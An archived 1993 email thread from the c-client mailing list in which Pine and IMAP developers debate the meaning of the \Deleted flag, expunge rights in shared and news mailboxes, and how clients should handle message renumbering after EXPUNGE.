Date: Mon, 18 Oct 1993 14:11:31 -0700 (PDT) From: Terry Gray Reply-To: Terry Gray Subject: Re: More on /SEEN and /DELETED... To: Chris Newman Cc: c-client@CAC.Washington.EDU In-Reply-To: <750977095.10184.0@nifty.andrew.cmu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Chris, I believe your argument is: that because Pine treats D the same for mail and news, when users encounter a shared mailbox with RWE access, they will continue to use D with possibly dangerous results. Take news out of the equation above and you'll see the inconsistency of that argument. Anyone who uses a personal mailbox (where I presume deletion is permitted) will be potentially dangerous given a shared mailbox with RWE access, unless they are suitably educated. There is nothing greyed-out, but the number of people affected by the "formerly harmless" action could be very different. As to a separate flag... two points: -I'm not eager to embrace this solution because I fear it adds needless cruft to the user-interface and/or protocol. -Such a flag should not be called "hidden" because "hiddenness" is a property of the current view, not an attribute of a message. Consider again the case of a shared mailbox, where an underling marks a message as deleted when s/he is done with it, for subsequent review by a superior who has expunge rights. The need is not for a "hidden" flag, but something that conveys "doneness" or "dismissal", which is exactly what our users convey with "D". To have both a \dismissed and a \deleted flag seems like it would be needlessly confusing, if not error prone. I suspect if we had both flags available we would probably use "D Dismiss" --> \dismissed universally, since the difference between \deleted and "expunged" has *always* caused some confusion. Then we would change the eXpunge prompt to say "Delete messages marked as Dismissed?"... then we could invent a 2nd version of expunge for greater efficiency... :) Seriously, I could live with that outcome; it just seems unnecessary to me. -teg On Mon, 18 Oct 1993, Chris Newman wrote: > Terry Gray writes: > > Your argument that my model forces users to make distinctions between > > different mailbox types is bogus because the same concerns apply to the > > CMU model (e.g. just having or not having delete rights in general.) > > I don't think it's bogus. Users are used to have options "grayed out" > or rejected because they "don't have permission". The problem comes > when a user takes an action which is successful, but does different > things in different situations. > > > If your view prevails, it means that c-client will be far less useful for > > supporting the "pseudo personal" mailbox case (where the remote message > > archive is totally RO.) > > I have already stated that the concept you suggest is useful -- I'm > just opposed to overloading \DELETED. > > From what I understand of your _intent_ for use of \DELETED in > netnews, may I suggest adding a user flag "hidden" which means the > user is not interested in seeing the message again? All you have to > do is lobby client makers to have a default view of "UNKEYWORD hidden" > and you get what you want. If you wait for NSEARCH, you could even > add a \HIDDEN system flag. > > - Chris > From pinedev@shivax2.cac.washington.edu Tue Oct 19 06:18:38 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18238; Tue, 19 Oct 93 06:18:38 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27919; Tue, 19 Oct 93 06:18:12 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO3.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27913; Tue, 19 Oct 93 06:18:11 -0700 Received: from localhost (postman@localhost) by po3.andrew.cmu.edu (8.5/8.5) id JAA04293; Tue, 19 Oct 1993 09:18:08 -0400 Received: via switchmail; Tue, 19 Oct 1993 09:18:07 -0400 (EDT) Received: from nifty.andrew.cmu.edu via qmail ID ; Tue, 19 Oct 1993 09:17:39 -0400 (EDT) Received: via niftymail; Tue, 19 Oct 1993 09:17:31 -0400 (EDT) Date: Tue, 19 Oct 1993 09:17:25 -0400 (EDT) From: Chris Newman Subject: Re: More on /SEEN and /DELETED... To: c-client@CAC.Washington.EDU In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <751036645.10184.0@nifty.andrew.cmu.edu> Terry Gray writes: > I believe your argument is: that because Pine treats D the same for mail > and news, when users encounter a shared mailbox with RWE access, they will > continue to use D with possibly dangerous results. Not really. My argument is if users learn they can hit "d" (delete) without losing the message, then they may hit "d" on a message they don't want to lose, expecting it to stay around. The problem is having "d" be a non-destructive operation in some circumstances, but not others. I think this problem would apply to all clients (particularly those which EXPUNGE without asking the user), not just Pine. > Take news out of the equation above and you'll see the inconsistency of > that argument. Anyone who uses a personal mailbox (where I presume > deletion is permitted) will be potentially dangerous given a shared > mailbox with RWE access, unless they are suitably educated. There is > nothing greyed-out, but the number of people affected by the "formerly > harmless" action could be very different. When you hit "d" in a personal mailbox (on a client with auto-expunge), the message is removed forever. Nobody can ever see it again. In addition, delete is a well known concept not limited to computers. I claim users will not be confused if "d" does the same thing in RWE group mailboxes. Do Macintosh users who throw a program in the trash when on a server machine still expect other users to see that program? No. I believe the situation is equivalent. > Consider again the case of a shared mailbox, where an underling marks a > message as deleted when s/he is done with it, for subsequent review by a > superior who has expunge rights. Let's look a little closer at this example. Suppose the underling is marking messages with \DELETED (global flag) at the same time that her superior is looking at the folder and about to switch to another folder. When the superior's client issues an EXPUNGE, it will remove the messages without chance of review. Therefore I claim this is an unuseful scenerio. If she can set \DELETED, it means messages could be removed without her superior seeing them. Thus \DELETED and EXPUNGE rights are equivalent when there is a global \DELETED flag. She should probably use either "\FLAGGED" or a user flag like "review" to flag the message for review by her superior. > The need is not for a "hidden" flag, but something that conveys >"doneness" or "dismissal", which is exactly what our users convey with >"D". I suspect if you polled your non-technical users about what "D" means, that you would be surprised by the results. There is a need for a separate "slated for permanent removal" flag, namely \DELETED. What you seem to desire (in the case of netnews) is a "No-longer-interesting" flag. I think the term "dismiss" is misleading because it implies both possible deletion and possible change of the view. > I suspect if we had both flags available we would probably use "D Dismiss" > --> \dismissed universally, since the difference between \deleted and > "expunged" has *always* caused some confusion. Then we would change the > eXpunge prompt to say "Delete messages marked as Dismissed?"... then we > could invent a 2nd version of expunge for greater efficiency... :) Do you want to be prompted with "Delete messages marked as Dismissed?" every time you leave a netnews group where you've "dismissed" a message? If a cancel message is sent out for every message you've hit "d" on in netnews, would you be getting your desire? Unless your answer is "yes" for both these questions, then your use of "\DELETED" in netnews really means "no-longer-interesting" which is a very different concept from "flag for permanent removal". - Chris From pinedev@shivax2.cac.washington.edu Tue Oct 19 09:06:05 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA21824; Tue, 19 Oct 93 09:06:05 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00214; Tue, 19 Oct 93 09:05:42 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00206; Tue, 19 Oct 93 09:05:39 -0700 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA08941; Tue, 19 Oct 93 09:05:31 -0700 Date: Tue, 19 Oct 1993 08:24:49 -0700 (PDT) From: Terry Gray Reply-To: Terry Gray Subject: Re: More on /SEEN and /DELETED... To: Chris Newman Cc: c-client@CAC.Washington.EDU In-Reply-To: <751036645.10184.0@nifty.andrew.cmu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Tue, 19 Oct 1993, Chris Newman wrote: > Terry Gray writes: > > I believe your argument is: that because Pine treats D the same for mail > > and news, when users encounter a shared mailbox with RWE access, they will > > continue to use D with possibly dangerous results. > > Not really. My argument is if users learn they can hit "d" (delete) > without losing the message, then they may hit "d" on a message they > don't want to lose, expecting it to stay around. The problem is > having "d" be a non-destructive operation in some circumstances, but > not others. I think this problem would apply to all clients > (particularly those which EXPUNGE without asking the user), not just > Pine. It's not a problem *if* the fact that it is non-destructive in some cases does not alter people's motivation for using it, i.e. if it *always* represents the *intention* to delete. My view has been that people will use D when they are done with the message, and this behavior would be consistent regardless of whether or not a subsequent expunge succeeded. Having said that, would you agree that this is essentially a UI design issue, and that your concern would completely go away if (for the EXPUNGE-IS-NOT-ALLOWED class of mailboxes) the key label was something less "final-sounding" than "Delete" ?? > Do Macintosh users who throw a program > in the trash when on a server machine still expect other users to see > that program? No. I believe the situation is equivalent. It's a good analogy, which I agree weakens the case for using \deleted as an inter-user communication mechanism. Likewise, I agree that clients with auto-expunge are not well-suited for trying to do this in a shared environment. Note that the trashcan metaphor may strengthen my case about user behavior modification in the RO case, since I'm pretty certain I've gotten the Mac error "Can't empty the trash" a time or two in my life, and that never caused me to change the way I use Delete (I mean, the way I put things in the trash :). But I'm willing to stop pretending to be a psychologist if you agree that a change in key label for the no-expunge case solves the problem. > She should probably use either "\FLAGGED" or a user flag like "review" > to flag the message for review by her superior. This is very different from how I'd like to use \FLAGGED... but maybe a user flag is a better answer for the shared case. > > The need is not for a "hidden" flag, but something that conveys > >"doneness" or "dismissal", which is exactly what our users convey with > >"D". > > I suspect if you polled your non-technical users about what "D" means, > that you would be surprised by the results. I don't doubt that "delete" means "delete" to most folks, I just doubt that using the "Delete" word in the no-expunge case will cause people to remap the word in there minds to mean something different. Pine is careful to use the phrase "Marked as Deleted" in order to reduce the inherent confusion between "delete" and "expunge", and Pine users have no basis for the idea that marking a message with "D" might make it disappear from the current view without further action, so they don't do "D" to simply make something disappear from the current view. > Do you want to be prompted with "Delete messages marked as Dismissed?" > every time you leave a netnews group where you've "dismissed" a > message? This would never happen. Remember that you don't want to prompt for expunge if you don't have expunge rights. (And note that these issues apply to any RO archive, not just news.) > If a cancel message is sent out for every message you've hit > "d" on in netnews, would you be getting your desire? No, which I expect you knew. My mindset is that people will normally behave in a personal context, and it is important for the UI to explicitly warn them when an action has global implications that may affect many people. This would be true for either posting or cancelling. -teg From pinedev@shivax2.cac.washington.edu Tue Oct 19 11:41:58 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA26726; Tue, 19 Oct 93 11:41:58 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA03349; Tue, 19 Oct 93 11:41:35 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA03343; Tue, 19 Oct 93 11:41:32 -0700 Received: from mac-treister.stanford.edu by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA29603; Tue, 19 Oct 93 11:41:31 PDT Date: Tue, 19 Oct 93 11:41:11 -0800 From: Adam Treister To: Terry Gray Subject: Re: More on /SEEN and /DELETED... Cc: Chris Newman , c-client@CAC.Washington.EDU Message-Id: In-Reply-To: Your message of Tue, 19 Oct 1993 08:24:49 -0700 (PDT) Content-Type: TEXT/plain; charset=US-ASCII > Pine is careful to use the phrase "Marked as Deleted" in > order to reduce the inherent confusion between "delete" > and "expunge", and Pine users have no basis for the idea > that marking a message with "D" might make it disappear > from the current view without further action, so they > don't do > "D" to simply make something disappear from the current > view. In my mind, "Marked as Deleted" confuses the issue more. Is it deleted or just marked as deleted. Its its deleted, then what's expunge? As similar as the concept is to the trash can on the mac, users have a tough time understanding whats up. I find the Delete / Expunge issue is the hardest part of writing an imap client. I am trying to shield the user from this feature entirely, largely because of imap's remapping message numbers on the expunge (so I want to do it when the client is about to close down a mailbox), but also because the user doesn't care about storage, just presentation. My current thinking in Mailstrom is to support a Hide Deleted Messages option, so that when the user "hits d", the message disappears. I used to be actually removing the message from my view (but not the mailbox), but that made the ability to reshow the messages difficult. Now, I'm changing it so that, internally, hiding the message is just setting the row height of that message to 0. This allows me to later restore the original row height and bring messages back. The important point is that as I read my mail and delete messages, I want to see the list shrinking, but I may also want to look at all those messages again. Its also my intention to support a "Deleted Messages" folder so that hitting the delete button will actually MOVE the message to the deleted-messages folder, setting the delete flag in the process. That folder can have a process invisible to the user, which searches for messages that have been there over N days, and delete and expunge them without user interaction. For the user, this is a big gain, they can get back deleted, expunged messages 30 or 60 days after they trashed it. I'd like to see this be a server/system feature aot just something in my client. (Yes that means I should cross post to IMAP list) It also makes sense to have the expiration occur on the server side, regardless of whether or not the client has been run. As I recall, IMSP is planning to support a "Sent-Messages" folder as a standard element (ala Inbox). What about raising "Deleted-Messages" to that level? Adam From pinedev@shivax2.cac.washington.edu Tue Oct 19 13:21:02 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00150; Tue, 19 Oct 93 13:21:02 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00353; Tue, 19 Oct 93 13:20:50 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO4.ANDREW.CMU.EDU by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00347; Tue, 19 Oct 93 13:20:49 -0700 Received: from localhost (postman@localhost) by po4.andrew.cmu.edu (8.5/8.5) id QAA10764; Tue, 19 Oct 1993 16:20:46 -0400 Received: via switchmail; Tue, 19 Oct 1993 16:20:46 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Tue, 19 Oct 1993 16:20:05 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Tue, 19 Oct 1993 16:20:00 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Tue, 19 Oct 1993 16:19:55 -0400 (EDT) Message-Id: <8gl4jfi00WBwECc7Zc@andrew.cmu.edu> Date: Tue, 19 Oct 1993 16:19:55 -0400 (EDT) From: John Gardiner Myers To: c-client@CAC.Washington.EDU Subject: Re: More on /SEEN and /DELETED... In-Reply-To: References: Beak: Is Adam Treister writes: > I am trying to shield the user from this feature entirely, largely because of > imap's remapping message numbers on the expunge (so I want to do it when the > client is about to close down a mailbox) An IMAP server can (and the Cyrus IMAP server WILL) send * n EXPUNGE notifications when processing *any* command other than FETCH, STORE, or SEARCH. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Tue Oct 19 13:32:22 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00486; Tue, 19 Oct 93 13:32:22 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00464; Tue, 19 Oct 93 13:32:12 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00458; Tue, 19 Oct 93 13:32:10 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA05720; Tue, 19 Oct 93 13:32:04 -0700 Date: Tue, 19 Oct 1993 13:26:47 -0700 (PDT) From: Mark Crispin Subject: Re: More on /SEEN and /DELETED... To: Adam Treister Cc: Terry Gray , Chris Newman , c-client@CAC.Washington.EDU In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Tue, 19 Oct 93 11:41:11 -0800, Adam Treister wrote: > I find the Delete / Expunge issue is the hardest part of writing an imap > client. > I am trying to shield the user from this feature entirely, largely because > of > imap's remapping message numbers on the expunge (so I want to do it when the > client is about to close down a mailbox) You can get expunge events even when you didn't issue an EXPUNGE, because some other process expunged the mailbox. It is not safe to assume that this won't happen in the middle of your session, so you have to deal with the renumbering. Instead of thinking of message n as ``message number n'', think of it as being ``the nth extant message''. From pinedev@shivax2.cac.washington.edu Wed Oct 20 09:04:35 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA26079; Wed, 20 Oct 93 09:04:35 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18416; Wed, 20 Oct 93 09:03:48 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO3.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18410; Wed, 20 Oct 93 09:03:47 -0700 Received: from localhost (postman@localhost) by po3.andrew.cmu.edu (8.5/8.5) id MAA13724; Wed, 20 Oct 1993 12:03:42 -0400 Received: via switchmail; Wed, 20 Oct 1993 12:03:41 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Wed, 20 Oct 1993 12:02:22 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Wed, 20 Oct 1993 12:02:14 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Wed, 20 Oct 1993 12:02:11 -0400 (EDT) Message-Id: Date: Wed, 20 Oct 1993 12:02:11 -0400 (EDT) From: John Gardiner Myers To: c-client@CAC.Washington.EDU Subject: Re: More on /SEEN and /DELETED... In-Reply-To: References: Beak: Is Terry Gray writes: > It's not a problem *if* the fact that it is non-destructive in some cases > does not alter people's motivation for using it, i.e. if it *always* > represents the *intention* to delete. My view has been that people will > use D when they are done with the message, and this behavior would be > consistent regardless of whether or not a subsequent expunge succeeded. Your model that "people use D when they are done with the message" is fundamentally inconsistent and interacts dangerously with the IMAP model of "\Deleted causes message to be permanently removed upon EXPUNGE". "User disinterest" is inherently a per-user concept, "permanent removal" is inherently a global concept. > Having said that, would you agree that this is essentially a UI design > issue, and that your concern would completely go away if (for the > EXPUNGE-IS-NOT-ALLOWED class of mailboxes) the key label was something > less "final-sounding" than "Delete" ?? Changing the label does not get rid of the interaction. Changing the label to paper over the "permanent removal" interaction is dangerous. If you want a different label and set of sementics, use a different flag. > I don't doubt that "delete" means "delete" to most folks, I just doubt > that using the "Delete" word in the no-expunge case will cause people to > remap the word in there minds to mean something different. If it has different semantics, it will cause users to remap the concept. Mark Crispin writes: > My own givens were that it was unreasonable to issue an error message where > there was something arguably useful to do for the user. I would have to disagree with this. In user interfaces, it is better to present a simple, clear model and to provide immediate feedback when the user strays from that model than it is to provide every possible feature the user might want. I believe this concept has some application to protocols as well. Systems, such as the DWIM LISP's, which attempt to provide some possibly-useful interpretation to everything they're fed are generally reviled. > So far, he arguments against this use of \Deleted presume that this > is taking place in the mailbox namespace. It is not. It can not. > > This also pretty well debunks the CMU claim of danger. They need never > encounter the need to support this in their servers, because they don't use > the bboard namespace. Our arguments don't presume that this takes place in the SELECT namespace. Our arguments presume this creates a model that the users will carry over to objects in the SELECT namespace. While we won't be using servers which have objects which exist only in the BBOARD namespace, we will be using clients which necessarily will know how to deal with objects in the BBOARD namespace. To the extent where objects in the BBOARD namespace are not merely second-class citizens but strange beasts, this will cause interoperability problems. Clients like Pine will not deal well with news-like objects which exist in the SELECT namespace. Other clients will have the choice of not handling news-like objects in the SELECT namespace well, not handling the BBOARD namepace well, or having a lot of compatibility code to handle/hide the semantic differences between the two. > As I see the REAL problem, the question is one of determining access rights. This is an interesting problem. One solution would be for IMAP to pick up IMSP's GETACL, but there's the question of whether the access right bits in IMSP are sufficiently fine-grained. > The present Pine doesn't distinguish between > shared read/write mailboxes and private read/write mailboxes. Neither does the Cyrus imapd. One way of stating the CMU model is "everything is a shared mailbox, though the name 'INBOX' is magic." From pinedev@shivax2.cac.washington.edu Wed Oct 20 16:30:16 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13048; Wed, 20 Oct 93 16:30:16 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28439; Wed, 20 Oct 93 16:30:04 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from scapa.cs.ualberta.ca by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28429; Wed, 20 Oct 93 16:29:56 -0700 Received: from scapa.cs.ualberta.ca by scapa.cs.ualberta.ca with UUCP id <18731>; Wed, 20 Oct 1993 17:29:45 -0600 Received: by isagate.edm.isac.ca (/\==/\ Smail3.1.20.1 #20.1) id ; Wed, 20 Oct 93 16:43 MDT Received: from isa486-1 by isasun-1.edm.isac.ca with smtp (Smail3.1.28.1 #1) id m0opmIi-000cwBC; Wed, 20 Oct 93 16:46 MDT Date: Wed, 20 Oct 1993 16:46:29 -0600 From: Steve Hole Subject: re: Some problems with the imapd-3.0 (Pine 3.87) release To: Mark Crispin Cc: c-client@cac.washington.edu, pine@cac.washington.edu Message-Id: Priority: Normal Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 18 Oct 1993 00:11:42 -0600 Mark Crispin wrote: > From: Mark Crispin > Date: Mon, 18 Oct 1993 00:11:42 -0600 > Subject: re: Some problems with the imapd-3.0 (Pine 3.87) release > To: Mike Macgirvin > Cc: gray@cac.washington.edu, steve@edm.isac.ca, c-client@cac.washington.edu, > pine@cac.washington.edu > > Mike - > > In brief (modulo things like mh folders, non-netnews bboards, etc.): > . mail_find() contents of .mailboxlist non-bboard entires > . mail_find_bboards() contents of .newsrc + .mailboxlist bboard entries > . mail_find_all() contents of directory > . mail_find_all_bboards() contents of netnews ACTIVE file This is 100% acceptable to us. > I have just removed the compatibility code for Pine 3.8[456] that made > mail_find() call mail_find_all() if there was no .mailboxlist file. The imapd > that is distributed with Pine 3.87 has this compatibility code, but Pine 3.87 > does not need it. What release is this in. Is this part of the 3.1 stuff. If so, then I will go and get it all tonight. Thanks Mark. Cheers. -- Steve Hole Director of Research and Communications ISA Corporation mail: Steve.Hole@Edm.ISAC.CA Suite 835, 10040 - 104 St. phone: (403) 420-8081 Edmonton, Alberta, Canada fax: (403) 420-8037 T5J 0Z2 From pinedev@shivax2.cac.washington.edu Wed Oct 20 16:30:50 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13095; Wed, 20 Oct 93 16:30:50 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28452; Wed, 20 Oct 93 16:30:35 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28445; Wed, 20 Oct 93 16:30:31 -0700 Received: from mac-treister.stanford.edu by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA09238; Wed, 20 Oct 93 16:30:29 PDT Date: Wed, 20 Oct 93 16:30:11 -0800 From: Adam Treister To: c-client@CAC.Washington.EDU Subject: Expunge Nightmares (was Re: More on /SEEN and /DELETED...) Message-Id: In-Reply-To: Your message of Wed, 20 Oct 93 16:24:31 -0800 Content-Type: TEXT/plain; charset=US-ASCII > Instead of thinking of message n as ``message number > n'', think of it as being ``the nth extant message''. Doesn't this imply order and contiguity? Mailstrom contains views that are a subset of a folder, and not necessarily in the same order as the server stores them. The current version of Mailstrom treats the address of the Message Object as the "primary key", so I won't have to remap, but whenever I get an expunge message, I'll have to still do a lot of list traversals to determine which of my views contain the message. Now that I look at, I may indeed have to change every views instance of every object! As I read the c-client, imap_expunged is called when an unsolicited * EXPUNGE 12 arrives. It frees up its element's memory and then calls mail_expunged, which further destroys the element, clears its msgno and recycles the element. expunged then calls mm_expunged sending my app the fact that msgno 12 is now gone. Mailstrom's Message object doesn't store the msgno; it stores the MESSAGECACHE *element, and asks c-client for msgno via the element. I guess I could recognize the element that used to belong to 12, cuz it'll now have a msgno of 0, but it'd be nicer if I got called before the element gets wiped. I'm trying to avoid storing the 12 in my Message object, because that would necessitate changing all instances > 12. Can I store my Message in the element so mm_expunged can call: element->messageObj->Remove(); What is the rationale for remapping all msgno's on every expunge? Sure it makes for some easy lookup, but it would be easier to use a hash table to find row number from message number, than to change every reference to message number in every table, message, and reply. Any chance we could get message numbers to stay static for the life of the connection, or even the message. Adam From pinedev@shivax2.cac.washington.edu Wed Oct 20 16:37:23 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13492; Wed, 20 Oct 93 16:37:23 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA08479; Wed, 20 Oct 93 16:37:12 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA08473; Wed, 20 Oct 93 16:37:01 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA07728; Wed, 20 Oct 93 16:36:42 -0700 Date: Wed, 20 Oct 1993 16:34:51 -0700 (PDT) From: Mark Crispin Subject: re: Some problems with the imapd-3.0 (Pine 3.87) release To: Steve Hole Cc: Mark Crispin , c-client Interest List , pine@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Wed, 20 Oct 1993 16:46:29 -0600, Steve Hole wrote: > This is 100% acceptable to us. Great. I'm glad that we were finally able to collapse the kludge tower. > What release is this in. Is this part of the 3.1 stuff. If so, then I > will go and get it all tonight. This is in the current mail/imap-3.1.tar.Z distribution. Be advised that this is a snapshot; 3.1 is still subject to change. However, this is expected to be in all future 3.1 versions as well as all future versions. From pinedev@shivax2.cac.washington.edu Wed Oct 20 16:39:35 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13562; Wed, 20 Oct 93 16:39:35 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA08495; Wed, 20 Oct 93 16:39:25 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA08489; Wed, 20 Oct 93 16:39:23 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA07736; Wed, 20 Oct 93 16:39:21 -0700 Date: Wed, 20 Oct 1993 16:37:04 -0700 (PDT) From: Mark Crispin Subject: re: Expunge Nightmares (was Re: More on /SEEN and /DELETED...) To: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I sent a message to Adam on this, but briefly, the solution to Adam's problem is to use elt locking. An elt has a lock count, which is decremented each time mail_free_elt() is called. Only elt's whose lock count (or share count if you prefer) has reached zero are actually freed. An elt whose msgno element is set to 0 is one that has been expunged and no longer refers to an extant message. The msgno of an elt is always current with the latest expunge status. That is why elt's have a msgno element. In other words, the mechanism that Adam asks for is already there. From pinedev@shivax2.cac.washington.edu Wed Oct 20 16:49:24 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13683; Wed, 20 Oct 93 16:49:24 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28808; Wed, 20 Oct 93 16:49:12 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28802; Wed, 20 Oct 93 16:49:06 -0700 Received: from mac-treister.stanford.edu by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA09642; Wed, 20 Oct 93 16:49:04 PDT Date: Wed, 20 Oct 93 16:48:46 -0800 From: Adam Treister To: c-client@cac.washington.edu Subject: Re: Expunge Nightmares (was Re: More on /SEEN and /DELETED...) Message-Id: In-Reply-To: Your message of Wed, 20 Oct 1993 16:30:33 -0700 (PDT) Content-Type: TEXT/plain; charset=US-ASCII Mark, > I am afraid it is too late to change the way > expunge works. If you write your code the right way, > using elt pointers (and elt locks) instead of message > numbers, you shouldn't have a problem. That is why the > msgno is stored in the elt in the first place! Thanks for the locking info. That'll help. Aren't there also some race conditions: A00123 STORE 4 +Flags \DELETED * EXPUNGE 3 * 4 Store (FLAGS (\Seen \Deleted)) A00123 OK Do I know that the Delete preceded the expunge? Or could the server have already done the expunge and just be waiting to tell me? Do I have to handle the Store notification before the Expunge notification? Or will the server return: * 3 Store (FLAGS (\Seen \Deleted)) in which case I have to handle the Expunge first. Adam From pinedev@shivax2.cac.washington.edu Wed Oct 20 16:56:48 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13916; Wed, 20 Oct 93 16:56:48 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28912; Wed, 20 Oct 93 16:56:34 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from scapa.cs.ualberta.ca by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28898; Wed, 20 Oct 93 16:56:28 -0700 Received: from scapa.cs.ualberta.ca by scapa.cs.ualberta.ca with UUCP id <18622>; Wed, 20 Oct 1993 17:56:14 -0600 Received: by isagate.edm.isac.ca (/\==/\ Smail3.1.20.1 #20.1) id ; Wed, 20 Oct 93 17:38 MDT Received: from isa486-1 by isasun-1.edm.isac.ca with smtp (Smail3.1.28.1 #1) id m0opnAN-000cwBC; Wed, 20 Oct 93 17:42 MDT Date: Wed, 20 Oct 1993 17:41:57 -0600 From: Steve Hole Subject: Re: Terry's assumptions about mailboxes To: Chris Newman Cc: c-client@cac.washington.edu Message-Id: Priority: Normal Mime-Version: 